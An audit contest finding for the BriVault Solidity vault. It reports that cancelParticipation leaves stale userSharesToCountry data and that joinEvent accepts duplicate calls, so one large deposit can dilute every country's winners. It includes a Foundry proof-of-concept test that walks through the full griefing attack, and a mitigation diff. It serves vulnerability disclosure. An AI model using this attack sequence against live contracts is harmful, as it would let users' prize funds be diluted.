BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

No reset for `BriVault::userSharesToCountry` in `BriVault::cancelParticipation` will cause a griefing attack if attacker calls `BriVault::joinEvent` for every country.

noahzzz

Root + Impact

Description

  • This attack vector is introduced because there is no reset for BriVault::userSharesToCountry. If an attacker deposits a huge amount and then call BriVault::cancelParticipation to exit, totalWinnerShares can be miscalculated with an additional large value since BriVault::userSharesToCountry is never cleared. Hence winners' prize will be diluted.

  • BriVault::joinEvent is not restricted to once per player. Attacker can use one piece of huge deposit to join every possible country. Then totalWinnerShares miscalculation is guaranteed no matter which country is set as the winner.

function joinEvent(uint256 countryId) public {
​
// @> No check for duplicate msg.sender
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
​
// Ensure countryId is a valid index in the `teams` array
if (countryId >= teams.length) {
revert invalidCountry();
}
​
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
...
}
...
​
function cancelParticipation () public {
if (block.timestamp >= eventStartDate){
revert eventStarted();
}
uint256 refundAmount = stakedAsset[msg.sender];
​
stakedAsset[msg.sender] = 0;
​
uint256 shares = balanceOf(msg.sender);
// @> No reset for userToCountry, userSharesToCountry, usersAddress, numberOfParticipants, totalParticipantShares.
_burn(msg.sender, shares);
​
IERC20(asset()).safeTransfer(msg.sender, refundAmount);
}

Risk

Likelihood:

  • Highly likely to happen. Any players with a large asset balance can conduct such griefing attack. Attacker can use one piece of deposit to dilute all 48 countries and then cancel participation to save cost. Total cost of the attack is one-time deposit fee and gas.

  • Requires no specific roles or permissions to conduct attack process for players.

Impact:

  • Honest winners will be diluted no matter which country is set as winner country.

  • Protocol greatly undermined with broken state variable clearing logic and event joining logic.

Proof of Concept

This fuzz test can introduce a random input from 0 to 47. The attacker will always dilute winners no matter which country is picked as winner country. In this case, victim who joins winning country is supposed to get their principal back (no loser). However, they can only withdraw a very little amount payout.

function test_exploitGriefingDiluteGuaranteed(uint8 winnerIdxRaw) public {
// Clamp to 0..47
uint256 winnerIdx = bound(uint256(winnerIdxRaw), 0, 47);
​
address attacker = makeAddr("attacker");
address victim = makeAddr("victim");
mockToken.mint(attacker, 50000 ether);
mockToken.mint(victim, 50 ether);
​
vm.prank(owner);
briVault.setCountry(countries);
​
// victim joins the winning country
vm.startPrank(victim);
mockToken.approve(address(briVault), type(uint256).max);
briVault.deposit(5 ether, victim);
briVault.joinEvent(winnerIdx);
vm.stopPrank();
​
vm.startPrank(attacker);
mockToken.approve(address(briVault), type(uint256).max);
// attacker stakes great amount
briVault.deposit(50000 ether, attacker);
​
// call joinEvent on all countries to grief the contract
for (uint256 i = 0; i < 48; i++) {
briVault.joinEvent(i);
}
​
// cancel without reset to userSharesToCountry (expanded totalWinnerShares)
briVault.cancelParticipation();
vm.stopPrank();
​
vm.warp(eventEndDate + 1);
vm.prank(owner);
briVault.setWinner(winnerIdx);
​
vm.prank(victim);
briVault.withdraw();
uint256 victimBalance = mockToken.balanceOf(victim);
// victim gets a much smaller prize due to dilution
assertEq(victimBalance, 45000010260395290843);
}

How to run this test: Paste test function test_exploitGriefingDiluteGuaranteed in file test/briVault.t.sol.

Recommended Mitigation

We can use two addtional mappings hasJoined and joinedCountryId to mitigate duplicate join event calls and reset BriVault::userSharesToCountry.

+ mapping(address => bool) public hasJoined;
+ mapping(address => uint256) public joinedCountryId;
+ uint256 constant NO_COUNTRY = type(uint256).max;
​
function joinEvent(uint256 countryId) public {
​
...
​
+ require(!hasJoined[msg.sender], "Already joined");
userToCountry[msg.sender] = teams[countryId];
​
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
​
usersAddress.push(msg.sender);
​
numberOfParticipants++;
totalParticipantShares += participantShares;
+ hasJoined[msg.sender] = true;
+ joinedCountryId[msg.sender] = countryId;
​
emit joinedEvent(msg.sender, countryId);
}
​
function cancelParticipation () public {
if (block.timestamp >= eventStartDate){
revert eventStarted();
}
+ require(hasJoined[msg.sender], "Not joined");
uint256 refundAmount = stakedAsset[msg.sender];
​
stakedAsset[msg.sender] = 0;
​
uint256 shares = balanceOf(msg.sender);
+ uint256 cid = joinedCountryId[msg.sender];
+ userSharesToCountry[msg.sender][cid] = 0;
+ joinedCountryId[msg.sender] = NO_COUNTRY;
+ hasJoined[msg.sender] = false;
_burn(msg.sender, shares);
​
IERC20(asset()).safeTransfer(msg.sender, refundAmount);
}
Updates

Appeal created

bube Lead Judge 21 days ago
Submission Judgement Published
Validated
Assigned finding tags:

`cancelParticipation` Leaves Stale Winner Data

CancelParticipation burns shares but leaves the address inside usersAddress and keeps userSharesToCountry populated.

noahzzz Submitter
20 days ago
bube Lead Judge
17 days ago
bube Lead Judge 17 days ago
Submission Judgement Published
Validated
Assigned finding tags:

`cancelParticipation` Leaves Stale Winner Data

CancelParticipation burns shares but leaves the address inside usersAddress and keeps userSharesToCountry populated.

Duplicate registration through `joinEvent`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!